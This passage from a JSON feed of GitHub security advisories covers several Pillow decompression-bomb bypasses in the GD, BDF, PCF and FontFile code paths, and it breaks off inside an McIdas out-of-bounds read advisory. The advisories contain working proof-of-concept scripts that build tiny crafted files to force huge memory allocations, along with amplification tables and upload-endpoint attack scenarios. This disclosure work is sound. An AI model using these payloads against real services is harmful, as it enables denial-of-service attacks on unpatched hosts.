struct.pack(\"\u003eI\", 0xFFFFFFFF)    # \u003e 255 = no transparency\ncolors_used  = b\"\\x00\\x00\"\npalette_data = b\"\\x00\" * 1024\nheader = sig + w + h + true_color + tindex + colors_used + palette_data\nassert len(header) == 1037\n\n# Confirm: standard Image.open() path BLOCKS this size\ntry:\n    Image._decompression_bomb_check((65535, 65535))\nexcept Image.DecompressionBombError as e:\n    print(f\"[BLOCKED] Image.open() path: {e}\")\n\n# Vulnerable path: GdImageFile.open() has NO bomb check\nimg = GdImageFile.open(io.BytesIO(header))\nprint(f\"[BYPASS] GdImageFile.open() succeeded: size={img.size}, mode={img.mode}\")\nprint(f\"         No _decompression_bomb_check called — 4.3 GB allocation not blocked\")\n\n# Trigger load_prepare() → Image.core.new(\"P\", (65535, 65535))\ntry:\n    img.load()\nexcept OSError:\n    print(f\"[INFO]   load() OSError (no pixel data) — but C-heap allocation already attempted\")\n\nprint(f\"\\n[MATH]   {65535 * 65535:,} pixels = {65535*65535 / (Image.MAX_IMAGE_PIXELS*2):.1f}× error threshold\")\nprint(f\"[MATH]   Attack file: 1,037 bytes only\")\n```\n\n**Expected output:**\n```\n[BLOCKED] Image.open() path: Image size (4294836225 pixels) exceeds limit of 178956970\npixels, could be decompression bomb DOS attack.\n[BYPASS] GdImageFile.open() succeeded: size=(65535, 65535), mode=P\n         No _decompression_bomb_check called — 4.3 GB allocation not blocked\n[INFO]   load() OSError (no pixel data) — but C-heap allocation already attempted\n\n[MATH]   4,294,836,225 pixels = 24.0× error threshold\n[MATH]   Attack file: 1,037 bytes only\n```\n\n**Verified live on Pillow 12.2.0.**\n\n**Two attack paths:**\n\n| Path | File size | Effect |\n|---|---|---|\n| Transient (header only) | **1,037 bytes** | `load_prepare()` attempts 4.3 GB C allocation → `OSError` after spike |\n| Persistent (full pixel data) | ~4.3 GB | `load()` completes, 4.3 GB stays in memory for object lifetime |\n\nFor the transient path, a 1,037-byte file is all that is needed. The attacker does not need to upload a large file.\n\n**Real-world scenario:**\n```python\nfrom PIL import GdImageFile\n\n# Application accepts user-uploaded .gd files\nimg = GdImageFile.open(user_uploaded_file)   # succeeds — no bomb check\nimg.load()                                    # triggers 4.3 GB C-heap allocation\n```\n\n## Impact\n\n- **Availability:** HIGH — a single 1,037-byte malicious `.gd` file causes the host process to attempt a ~4.3 GB C-heap allocation. On systems with insufficient memory this crashes the process. Repeatable — attacker can loop requests to keep the server down.\n- **Confidentiality:** None\n- **Integrity:** None\n- **Authentication required:** No — any public endpoint accepting image uploads is affected\n- **User interaction:** None\n\nAny service that calls `PIL.GdImageFile.open(user_file)` followed by `.load()` (or any lazy-load trigger) is vulnerable. Because the attack requires only a 1,037-byte file, network bandwidth is not a constraint.\n\nConfirmed unpatched on `python-pillow/Pillow` `main` branch as of 2026-06-08.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-07-20T21:13:35.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","references":["https://github.com/python-pillow/Pillow/security/advisories/GHSA-phj9-mv4w-65pm","https://nvd.nist.gov/vuln/detail/CVE-2026-55380","https://github.com/python-pillow/Pillow/commit/f39b0ae6624eb2d7c5c5d651d9bb5fdbd96a8675","https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2026-2256.yaml","https://github.com/python-pillow/Pillow/blob/main/docs/releasenotes/12.3.0.rst","https://github.com/advisories/GHSA-phj9-mv4w-65pm"],"source_kind":"github","identifiers":["GHSA-phj9-mv4w-65pm","CVE-2026-55380"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-07-20T22:00:09.057Z","updated_at":"2026-12-02T11:03:26.332Z","epss_percentage":0.00518,"epss_percentile":0.45519,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1waGo5LW12NHctNjVwbc4ABcP3","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1waGo5LW12NHctNjVwbc4ABcP3","affected_repository_urls":["https://github.com/python-pillow/pillow"],"packages":[{"ecosystem":"pypi","package_name":"pillow","versions":[{"first_patched_version":"12.3.0","vulnerable_version_range":"\u003c 12.3.0"}],"purl":"pkg:pypi/pillow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1waGo5LW12NHctNjVwbc4ABcP3/related_packages","related_advisories":[{"uuid":"UBUNTU-CVE-2026-55380","source_kind":"osv","url":"https://ubuntu.com/security/notices/USN-8999-1"},{"uuid":"USN-8999-1","source_kind":"osv","url":"https://ubuntu.com/security/notices/USN-8999-1"},{"uuid":"DEBIAN-CVE-2026-55380","source_kind":"osv","url":"https://security-tracker.debian.org/tracker/CVE-2026-55380"},{"uuid":"CVE-2026-55380","source_kind":"osv","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/55xxx/CVE-2026-55380.json"}]},{"uuid":"GSA_kwCzR0hTQS00NWhxLWN4d2gtZjZ2Y84ABcP2","url":"https://github.com/advisories/GHSA-45hq-cxwh-f6vc","title":"Pillow `BdfFontFile`: `Image.new()` called without `_decompression_bomb_check()` — bomb protection bypass via font loading","description":"### Summary\n`PIL/BdfFontFile.py` `bdf_char()` (lines 84–88) reads the `BBX width height` field from a BDF font file and passes the dimensions directly to `Image.new()` without calling `Image._decompression_bomb_check()`. This completely bypasses Pillow's documented decompression bomb protection.\n\n`Image.open()` enforces `MAX_IMAGE_PIXELS = 89,478,485` and raises `DecompressionBombError` for images exceeding `2 × MAX = 178,956,970` pixels. The BDF font loading path calls `Image.new()` directly, which only calls `_check_size()` (validates `\u003e= 0`) — no pixel count limit.\n\n**Vulnerable code (`PIL/BdfFontFile.py` lines 84–88):**\n```python\n# width, height from attacker-controlled \"BBX width height x y\" line\ntry:\n    im = Image.frombytes(\"1\", (width, height), bitmap, \"hex\", \"1\")\nexcept ValueError:\n    # TRIGGERED when BITMAP section is empty (zero hex lines)\n    im = Image.new(\"1\", (width, height))   # ← NO _decompression_bomb_check()!\n    # ^ This image is stored in self.glyph[ch] — persists in memory\n```\n\n**Attack trigger:** A BDF glyph with `BBX 20000 20000` and an empty `BITMAP` section causes `Image.frombytes()` to raise `ValueError`, then `Image.new(\"1\", (20000, 20000))` allocates **50 MB** of C-heap silently. Image.open() would raise `DecompressionBombError` for the same dimensions.\n\n## Steps to reproduce\n\n**Minimal malicious BDF file (270 bytes):**\n```\nSTARTFONT 2.1\nSIZE 16 75 75\nFONTBOUNDINGBOX 16 16 0 -4\nSTARTPROPERTIES 1\nCOMMENT placeholder\nENDPROPERTIES\nCHARS 1\nSTARTCHAR A\nENCODING 65\nSWIDTH 500 0\nDWIDTH 8 0\nBBX 20000 20000 0 0\nBITMAP\nENDCHAR\nENDFONT\n```\n\n**Proof of Concept script:**\n```python\n#!/usr/bin/env python3\n\"\"\"PoC: BdfFontFile bomb bypass — 270-byte BDF → 50 MB allocation\"\"\"\nimport io, warnings\nwarnings.filterwarnings(\"ignore\")\n\nfrom PIL.BdfFontFile import BdfFontFile\nfrom PIL.Image import _decompression_bomb_check, DecompressionBombWarning, DecompressionBombError\n\nW, H = 20000, 20000   # 400M pixels → above DecompressionBombError threshold\n\n# Show what Image.open() would do\nwarnings.filterwarnings(\"error\", category=DecompressionBombWarning)\ntry:\n    _decompression_bomb_check((W, H))\nexcept (DecompressionBombWarning, DecompressionBombError) as e:\n    print(f\"[Image.open() path] BLOCKED by {type(e).__name__}\")\nwarnings.filterwarnings(\"ignore\")\n\n# Malicious BDF: large BBX + empty BITMAP → ValueError → Image.new() without bomb check\nbdf = f\"\"\"STARTFONT 2.1\nSIZE 16 75 75\nFONTBOUNDINGBOX 16 16 0 -4\nSTARTPROPERTIES 1\nCOMMENT x\nENDPROPERTIES\nCHARS 1\nSTARTCHAR A\nENCODING 65\nSWIDTH 500 0\nDWIDTH 8 0\nBBX {W} {H} 0 0\nBITMAP\nENDCHAR\nENDFONT\n\"\"\".encode()\n\nprint(f\"[*] BDF file size  : {len(bdf)} bytes\")\nprint(f\"[*] Glyph size     : {W} x {H} = {W*H:,} pixels\")\nprint(f\"[*] C-heap target  : {W*H//8//1024**2} MB  (mode '1' = 1 bit/pixel)\")\n\nBdfFontFile(io.BytesIO(bdf))   # No exception — bomb check bypassed!\n\nprint(f\"[!] CONFIRMED: BdfFontFile loaded silently — {W*H//8//1024**2} MB allocated\")\nprint(f\"    Image.open() path would have raised DecompressionBombError\")\n```\n\n**Expected output:**\n```\n[Image.open() path] BLOCKED by DecompressionBombError\n[*] BDF file size  : 270 bytes\n[*] Glyph size     : 20000 x 20000 = 400,000,000 pixels\n[*] C-heap target  : 47 MB  (mode '1' = 1 bit/pixel)\n[!] CONFIRMED: BdfFontFile loaded silently — 47 MB allocated\n    Image.open() path would have raised DecompressionBombError\n```\n\n**Amplified attack (multiple glyphs):**  \nA BDF file defining 256 glyphs each at `BBX 8000 8000` causes `256 × 7.6 MB = ~1.95 GB` total C-heap allocation — all silently, bypassing documented bomb protection.\n\n### Impact\n- **Availability**: HIGH — attacker-controlled memory allocation per glyph × up to 65,536 glyphs\n- **Confidentiality**: None  \n- **Integrity**: None\n- Any service loading BDF fonts from untrusted sources (e.g., `ImageFont.load(\"user.bdf\")`, `BdfFontFile(fp)`) is affected\n- Loaded glyph images persist in `self.glyph[ch]` for the lifetime of the font object — memory is NOT freed until the font is garbage collected","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-07-20T21:13:18.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","references":["https://github.com/python-pillow/Pillow/security/advisories/GHSA-45hq-cxwh-f6vc","https://nvd.nist.gov/vuln/detail/CVE-2026-55379","https://github.com/python-pillow/Pillow/commit/0a263e6264aa5399988d9acd3bbfbca2ca3ec77d","https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2026-2255.yaml","https://github.com/python-pillow/Pillow/blob/main/docs/releasenotes/12.3.0.rst","https://github.com/advisories/GHSA-45hq-cxwh-f6vc"],"source_kind":"github","identifiers":["GHSA-45hq-cxwh-f6vc","CVE-2026-55379"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-07-20T22:00:09.057Z","updated_at":"2026-12-02T11:03:26.333Z","epss_percentage":0.00522,"epss_percentile":0.45799,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS00NWhxLWN4d2gtZjZ2Y84ABcP2","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS00NWhxLWN4d2gtZjZ2Y84ABcP2","affected_repository_urls":["https://github.com/python-pillow/pillow"],"packages":[{"ecosystem":"pypi","package_name":"pillow","versions":[{"first_patched_version":"12.3.0","vulnerable_version_range":"\u003c 12.3.0"}],"purl":"pkg:pypi/pillow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS00NWhxLWN4d2gtZjZ2Y84ABcP2/related_packages","related_advisories":[{"uuid":"DEBIAN-CVE-2026-55379","source_kind":"osv","url":"https://security-tracker.debian.org/tracker/CVE-2026-55379"},{"uuid":"CVE-2026-55379","source_kind":"osv","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/55xxx/CVE-2026-55379.json"},{"uuid":"UBUNTU-CVE-2026-55379","source_kind":"osv","url":"https://ubuntu.com/security/notices/USN-8999-1"},{"uuid":"USN-8999-1","source_kind":"osv","url":"https://ubuntu.com/security/notices/USN-8999-1"}]},{"uuid":"GSA_kwCzR0hTQS01eDk0LTY5cngtZzhoMs4ABcP1","url":"https://github.com/advisories/GHSA-5x94-69rx-g8h2","title":"Pillow: `FontFile.compile()`: `Image.new()` called without `_decompression_bomb_check()`","description":"## Description\n\n`PIL/FontFile.py` `FontFile.compile()` assembles per-glyph images into a single combined bitmap using `Image.new(\"1\", (xsize, ysize))` without calling `Image._decompression_bomb_check()`. This is the base-class method shared by both `BdfFontFile` and `PcfFontFile`, and it is triggered whenever a loaded font is converted to an `ImageFont` or saved.\n\nNeither `BdfFontFile.BdfFontFile(fp)` nor `PcfFontFile.PcfFontFile(fp)` is registered with `Image.register_open()`, so Pillow's standard decompression bomb guard never fires for font objects. The compile step is the final opportunity to check the combined allocation — and it has no check.\n\n**Vulnerable code (`PIL/FontFile.py` lines ~64–92):**\n\n```python\ndef compile(self) -\u003e None:\n    if self.bitmap:\n        return\n\n    h = w = maxwidth = 0\n    lines = 1\n    for glyph in self.glyph:              # up to 256 glyph slots\n        if glyph:\n            d, dst, src, im = glyph\n            h = max(h, src[3] - src[1])   # max glyph height — attacker-controlled\n            w = w + (src[2] - src[0])\n            if w \u003e WIDTH:                  # WIDTH = 800\n                lines += 1\n                w = src[2] - src[0]\n            maxwidth = max(maxwidth, w)\n\n    xsize = maxwidth                       # ≤ 800 (capped by WIDTH constant)\n    ysize = lines * h                      # ← lines(256) × h(65535) = 16,776,960\n\n    if xsize == 0 and ysize == 0:\n        return\n\n    self.ysize = h\n    # NO _decompression_bomb_check() here ←\n    self.bitmap = Image.new(\"1\", (xsize, ysize))   # ← unchecked allocation\n```\n\n**\"Slow accumulation\" attack — per-glyph dimensions stay BELOW warning threshold:**\n\n| Metric | Per-glyph (800 × 875) | Combined bitmap (256 glyphs) |\n|---|---|---|\n| Pixel count | 700,000 | **179,200,000** |\n| DecompressionBombWarning threshold (89.4M) | 0.008× — **no warning** | 2.0× — above warning |\n| DecompressionBombError threshold (178.9M) | 0.004× — **no error** | **1.001× — above error** |\n\nWith PCF-maximum glyph height (65,535):\n\n| Metric | Value |\n|---|---|\n| lines | 256 (one per glyph slot, width=800 forces a wrap every glyph) |\n| h (max glyph height) | 65,535 |\n| xsize | 800 |\n| ysize = lines × h | 256 × 65,535 = **16,776,960** |\n| **Total pixels** | 800 × 16,776,960 = **13,421,568,000** |\n| **Ratio vs. DecompressionBombError threshold** | **75×** |\n| Memory (mode \"1\", 1 bit/pixel) | **~1.6 GB** |\n\n## Steps to reproduce\n\n**Proof of Concept script:**\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nPoC: FontFile.compile() bomb bypass\n256 glyphs at 800x875 each (individually below warning threshold)\n→ compile() creates 800x224000 = 179.2M px bitmap with NO bomb check\n\"\"\"\nfrom PIL import FontFile, Image\n\nMAX_GLYPHS = 256\nGLYPH_W    = 800\nGLYPH_H    = 875     # individual: 700K px — below 89.4M warning threshold\n\nclass MockFont(FontFile.FontFile):\n    def __init__(self):\n        super().__init__()\n        # Each glyph is individually safe (700K px \u003c 89.4M warning)\n        im = Image.new(\"1\", (GLYPH_W, GLYPH_H))\n        for i in range(MAX_GLYPHS):\n            self.glyph[i] = (\n                (GLYPH_W, GLYPH_H),\n                (0, -GLYPH_H, GLYPH_W, 0),\n                (0, 0,        GLYPH_W, GLYPH_H),\n                im,\n            )\n\n# Confirm bomb check WOULD catch the combined size\ncombined_size = (GLYPH_W, MAX_GLYPHS * GLYPH_H)\ntry:\n    Image._decompression_bomb_check(combined_size)\n    print(\"[FAIL] bomb check did not raise — unexpected\")\nexcept Image.DecompressionBombError as e:\n    print(f\"[OK] bomb check WOULD block {combined_size}: {e}\")\n\n# Vulnerable path: compile() has NO bomb check\nfont = MockFont()\nfont.compile()   # → Image.new(\"1\", (800, 224000)) — no error raised\n\npx = font.bitmap.size[0] * font.bitmap.size[1]\nthreshold = Image.MAX_IMAGE_PIXELS * 2\nprint(f\"[BYPASS] compile() succeeded: bitmap={font.bitmap.size}\")\nprint(f\"         pixels={px:,}  ({px/threshold:.3f}× DecompressionBombError threshold)\")\nprint(f\"         No DecompressionBombError raised at any point.\")\n```\n\n**Expected output:**\n```\n[OK] bomb check WOULD block (800, 224000): Image size (179200000 pixels) exceeds limit\nof 178956970 pixels, could be decompression bomb DOS attack.\n[BYPASS] compile() succeeded: bitmap=(800, 224000)\n         pixels=179,200,000  (1.001× DecompressionBombError threshold)\n         No DecompressionBombError raised at any point.\n```\n\n**Verified live on Pillow 12.2.0 — compile() succeeds with no exception.**\n\n**Real-world trigger using BDF font file:**\n```python\nfrom PIL import BdfFontFile\nimport io\n\n# Load a crafted BDF font with 256 glyphs each claiming height=65535\n# (each glyph individually: 800 × 65535 = 52.4M px — below 89.4M warning)\n# compile() combined: 800 × 16,776,960 = 13.4B px — 75× error threshold\nfont = BdfFontFile.BdfFontFile(open(\"crafted_256glyph.bdf\", \"rb\"))\nfont.to_imagefont()   # → compile() → ~1.6 GB allocation, NO bomb check\n```\n\n**Attack scenarios:**\n\n| Scenario | Effect |\n|---|---|\n| Web font preview (`BdfFontFile(upload).to_imagefont()`) | DoS with crafted .bdf upload |\n| Server-side font renderer that loads PCF → `to_imagefont()` | OOM crash |\n| Font pipeline: load → render text | One malicious font file kills the process |\n\n## Impact\n\n- **Availability:** HIGH — `compile()` creates a combined bitmap whose pixel count scales as `WIDTH × lines × max_glyph_height` with no upper bound check. With max PCF glyph height (65,535) and 256 glyphs, the combined allocation is ~1.6 GB. With BDF (text-format, unbounded height), the allocation is limited only by system memory.\n- **Confidentiality:** None\n- **Integrity:** None\n\n**Affected call paths:**\n- `BdfFontFile.BdfFontFile(fp).to_imagefont()` → `FontFile.compile()`\n- `BdfFontFile.BdfFontFile(fp).save(filename)` → `FontFile.compile()`\n- `PcfFontFile.PcfFontFile(fp).to_imagefont()` → `FontFile.compile()`\n- `PcfFontFile.PcfFontFile(fp).save(filename)` → `FontFile.compile()`\n\nNeither `BdfFontFile` nor `PcfFontFile` is loaded via `Image.open()`, so the standard decompression bomb guard is **entirely absent** from the font loading code path. `compile()` is the only point where the combined allocation size is known, and it has no check.\n\nConfirmed unpatched on `python-pillow/Pillow` `main` branch as of 2026-06-08.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-07-20T21:08:40.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","references":["https://github.com/python-pillow/Pillow/security/advisories/GHSA-5x94-69rx-g8h2","https://nvd.nist.gov/vuln/detail/CVE-2026-54060","https://github.com/python-pillow/Pillow/commit/0a263e6264aa5399988d9acd3bbfbca2ca3ec77d","https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2026-2254.yaml","https://github.com/python-pillow/Pillow/blob/main/docs/releasenotes/12.3.0.rst","https://github.com/advisories/GHSA-5x94-69rx-g8h2"],"source_kind":"github","identifiers":["GHSA-5x94-69rx-g8h2","CVE-2026-54060"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-07-20T22:00:09.057Z","updated_at":"2026-12-02T11:03:26.333Z","epss_percentage":0.00418,"epss_percentile":0.38092,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS01eDk0LTY5cngtZzhoMs4ABcP1","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS01eDk0LTY5cngtZzhoMs4ABcP1","affected_repository_urls":["https://github.com/python-pillow/pillow"],"packages":[{"ecosystem":"pypi","package_name":"pillow","versions":[{"first_patched_version":"12.3.0","vulnerable_version_range":"\u003c 12.3.0"}],"purl":"pkg:pypi/pillow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS01eDk0LTY5cngtZzhoMs4ABcP1/related_packages","related_advisories":[{"uuid":"UBUNTU-CVE-2026-54060","source_kind":"osv","url":"https://ubuntu.com/security/notices/USN-8999-1"},{"uuid":"USN-8999-1","source_kind":"osv","url":"https://ubuntu.com/security/notices/USN-8999-1"},{"uuid":"DEBIAN-CVE-2026-54060","source_kind":"osv","url":"https://security-tracker.debian.org/tracker/CVE-2026-54060"},{"uuid":"CVE-2026-54060","source_kind":"osv","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/54xxx/CVE-2026-54060.json"}]},{"uuid":"GSA_kwCzR0hTQS04djg0LWY5cHEtd3I5eM4ABcP0","url":"https://github.com/advisories/GHSA-8v84-f9pq-wr9x","title":"Pillow `PcfFontFile._load_bitmaps()`: `Image.frombytes()` called without `_decompression_bomb_check()` — bomb protection bypass via PCF font loading","description":"## Description\n`PIL/PcfFontFile.py` `_load_bitmaps()` (line 227) reads glyph dimensions from the PCF `METRICS` section and passes them directly to `Image.frombytes()` without calling `Image._decompression_bomb_check()`. Dimensions originate from unsigned 16-bit values:\n\n```\nxsize = right - left          (max: 65535 − 0 = 65535)\nysize = ascent + descent      (max: 65535 + 65535 = 131070)\n```\n\nMaximum exploitable pixel count: **65,535 × 131,070 = 8,589,734,450 pixels** — **48× the DecompressionBombError threshold**.\n\n**Vulnerable code (`PIL/PcfFontFile.py` line 224–227):**\n```python\nfor i in range(nbitmaps):\n    xsize, ysize = metrics[i][:2]    # from PCF METRICS — attacker-controlled\n    b, e = offsets[i : i + 2]\n    bitmaps.append(\n        Image.frombytes(\"1\", (xsize, ysize), data[b:e], \"raw\", mode, pad(xsize))\n        # ↑ NO _decompression_bomb_check()!\n    )\n```\n\n`Image.frombytes()` calls `Image.new()` first (allocating the full C-heap buffer), **then** attempts to fill it. This creates two distinct attack paths:\n\n- **Persistent attack**: Provide matching bitmap data → `frombytes()` succeeds → image stored in `font.glyph[ch]` permanently\n- **Transient attack**: Provide a 148-byte PCF file with large declared dimensions but no data → `Image.new()` allocates the full buffer → `ValueError` → buffer freed → but the spike occurs before Python can respond\n\n## Steps to reproduce\n\n**Proof of Concept script:**\n\n```python\n#!/usr/bin/env python3\n\"\"\"PoC: PcfFontFile bomb bypass — 148-byte PCF → 23 MB allocation\"\"\"\nimport io, struct, tracemalloc, warnings\nwarnings.filterwarnings(\"ignore\")\n\nfrom PIL.PcfFontFile import PcfFontFile\nfrom PIL.Image import _decompression_bomb_check, DecompressionBombWarning, DecompressionBombError\n\nW, H = 14000, 14000   # 196M pixels → above DecompressionBombError threshold\n\n# Show what Image.open() would do\nwarnings.filterwarnings(\"error\", category=DecompressionBombWarning)\ntry:\n    _decompression_bomb_check((W, H))\nexcept (DecompressionBombWarning, DecompressionBombError) as e:\n    print(f\"[Image.open() path] BLOCKED by {type(e).__name__}\")\nwarnings.filterwarnings(\"ignore\")\n\n# PCF binary constants\nPCF_MAGIC    = 0x70636601\nPCF_PROPS    = 1 \u003c\u003c 0\nPCF_METRICS  = 1 \u003c\u003c 2\nPCF_BITMAPS  = 1 \u003c\u003c 3\nPCF_ENCODINGS= 1 \u003c\u003c 5\n\ndef build_bomb_pcf(xsize, ysize):\n    # Properties: empty\n    props = struct.pack(\"\u003cIII\", 0, 0, 0)\n\n    # Metrics (jumbo, non-compressed): 1 glyph — xsize=right-left, ysize=ascent+descent\n    metrics = struct.pack(\"\u003cII\", 0, 1)\n    metrics += struct.pack(\"\u003cHHHHHH\", 0, xsize, xsize, ysize, 0, 0)\n\n    # Bitmaps: 1 glyph, empty data (transient attack)\n    bitmaps = struct.pack(\"\u003cII\", 0, 1)\n    bitmaps += struct.pack(\"\u003cI\", 0)              # offset[0] = 0\n    bitmaps += struct.pack(\"\u003cIIII\", 0, 0, 0, 0) # bitmap_sizes all = 0\n\n    # Encodings: char 0x41 ('A') → glyph 0\n    enc_offsets = [0xFFFF]*65 + [0] + [0xFFFF]*62\n    encodings = struct.pack(\"\u003cIHHHHH\", 0, 0, 127, 0, 0, 0xFFFF)\n    encodings += struct.pack(\"\u003c\" + \"H\"*128, *enc_offsets)\n\n    secs = [(PCF_PROPS, props), (PCF_METRICS, metrics),\n            (PCF_BITMAPS, bitmaps), (PCF_ENCODINGS, encodings)]\n    hdr_size = 4 + 4 + len(secs) * 16\n    out = struct.pack(\"\u003cII\", PCF_MAGIC, len(secs))\n    offset = hdr_size\n    for stype, sdata in secs:\n        out += struct.pack(\"\u003cIIII\", stype, 0, len(sdata), offset)\n        offset += len(sdata)\n    for _, sdata in secs:\n        out += sdata\n    return out\n\npcf = build_bomb_pcf(W, H)\nprint(f\"[*] PCF file size  : {len(pcf)} bytes\")\nprint(f\"[*] Glyph size     : {W} x {H} = {W*H:,} pixels\")\nprint(f\"[*] C-heap target  : {W*H//8//1024**2} MB  (mode '1' = 1 bit/pixel)\")\n\ntracemalloc.start()\ntry:\n    font = PcfFontFile(io.BytesIO(pcf))\n    _, peak = tracemalloc.get_traced_memory()\n    tracemalloc.stop()\n    print(f\"[!] CONFIRMED (persistent): bomb check bypassed — heap peak {peak/1024**2:.2f} MB\")\nexcept Exception as e:\n    _, peak = tracemalloc.get_traced_memory()\n    tracemalloc.stop()\n    print(f\"[!] CONFIRMED (transient): {type(e).__name__} after allocation\")\n    print(f\"    Heap peak: {peak/1024**2:.2f} MB\")\n    print(f\"    C-heap allocation of ~{W*H//8//1024**2} MB occurred before exception\")\n```\n\n**Expected output:**\n```\n[Image.open() path] BLOCKED by DecompressionBombError\n[*] PCF file size  : 148 bytes\n[*] Glyph size     : 14000 x 14000 = 196,000,000 pixels\n[*] C-heap target  : 23 MB  (mode '1' = 1 bit/pixel)\n[!] CONFIRMED (transient): ValueError after allocation\n    C-heap allocation of ~23 MB occurred before exception\n```\n\n**Amplification table:**\n\n| PCF file | Glyph dims | C-heap (mode '1') | Bomb check |\n|---|---|---|---|\n| 148 bytes | 14000 × 14000 | 23 MB (transient) | Bypassed |\n| 148 bytes | 65535 × 131070 | 1.07 GB (transient) | Bypassed |\n| ~512 MB | 65535 × 131070 | 1.07 GB (persistent) | Bypassed |\n\n## Impact\n- **Availability**: HIGH — up to 1.07 GB per glyph, no limit per font file\n- **Confidentiality**: None\n- **Integrity**: None\n- Any service loading PCF fonts from untrusted sources (e.g., `PcfFontFile(fp)`) is affected\n- `PcfFontFile` is never loaded via `Image.open()`, so the bomb check protection is completely absent from the entire PCF font loading path\n- Confirmed unpatched on `python-pillow/Pillow` `main` branch as of 2026-06-07","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-07-20T21:08:27.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","references":["https://github.com/python-pillow/Pillow/security/advisories/GHSA-8v84-f9pq-wr9x","https://nvd.nist.gov/vuln/detail/CVE-2026-54059","https://github.com/python-pillow/Pillow/commit/0a263e6264aa5399988d9acd3bbfbca2ca3ec77d","https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2026-2253.yaml","https://github.com/python-pillow/Pillow/blob/main/docs/releasenotes/12.3.0.rst","https://github.com/advisories/GHSA-8v84-f9pq-wr9x"],"source_kind":"github","identifiers":["GHSA-8v84-f9pq-wr9x","CVE-2026-54059"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-07-20T22:00:09.057Z","updated_at":"2026-12-02T11:03:26.334Z","epss_percentage":0.0041,"epss_percentile":0.37297,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS04djg0LWY5cHEtd3I5eM4ABcP0","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS04djg0LWY5cHEtd3I5eM4ABcP0","affected_repository_urls":["https://github.com/python-pillow/pillow"],"packages":[{"ecosystem":"pypi","package_name":"pillow","versions":[{"first_patched_version":"12.3.0","vulnerable_version_range":"\u003c 12.3.0"}],"purl":"pkg:pypi/pillow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS04djg0LWY5cHEtd3I5eM4ABcP0/related_packages","related_advisories":[{"uuid":"UBUNTU-CVE-2026-54059","source_kind":"osv","url":"https://ubuntu.com/security/notices/USN-8999-1"},{"uuid":"USN-8999-1","source_kind":"osv","url":"https://ubuntu.com/security/notices/USN-8999-1"},{"uuid":"DEBIAN-CVE-2026-54059","source_kind":"osv","url":"https://security-tracker.debian.org/tracker/CVE-2026-54059"},{"uuid":"CVE-2026-54059","source_kind":"osv","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/54xxx/CVE-2026-54059.json"}]},{"uuid":"GSA_kwCzR0hTQS02MnA0LWdtZjctN2c5M84ABcPy","url":"https://github.com/advisories/GHSA-62p4-gmf7-7g93","title":"Pillow: Out-of-bounds read via attacker-controlled row stride on Pillow's mmap path (McIdas AREA files)","description":"## Summary\n\nWhen Pillow loads an uncompressed image whose tile uses the `raw` codec and a mode in `Image._MAPMODES`, and the image was opened **from a filename**, it memory-maps the file and builds the image's row pointers directly into the mapping via `PyImaging_MapBuffer` (`src/map.c`). The per-row spacing (`stride`) is taken from the tile arguments. `map.c` validates `offset + ysize*stride \u003c= buffer_len` but **never checks that `stride` is at least the natural row width `xsize * pixelsize`**.\n\nThe **McIdas** AREA plugin (`McIdasImagePlugin.py`) derives `stride`, `offset`, `xsize`, and `ysize` directly from attacker-controlled 32-bit header words with no validation. By supplying a `stride` far smaller than the row width, an attacker makes each row pointer read `xsize*pixelsize` bytes that run past the mapped region. Accessing the pixels (e.g. `Image.tobytes()`,\n`getpixel`, `convert`, `save`) then reads adjacent process memory (information disclosure) or faults (SIGBUS, denial of service).\n\n\n## Complete Code Trace\n\n**Step 1: `McIdasImageFile._open`** - turns attacker header words into image size, file offset, and row stride with no validation.\n\n```python\n# src/PIL/McIdasImagePlugin.py:41-70\ns = self.fp.read(256)\nif not _accept(s) or len(s) != 256:        # _accept: prefix == b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x04\"\n    raise SyntaxError(...)\nself.area_descriptor = w = [0, *struct.unpack(\"!64i\", s)]   # w[1..64] = signed BE int32, ALL attacker-controlled\n\nif w[11] == 1:\n    mode = rawmode = \"L\"                    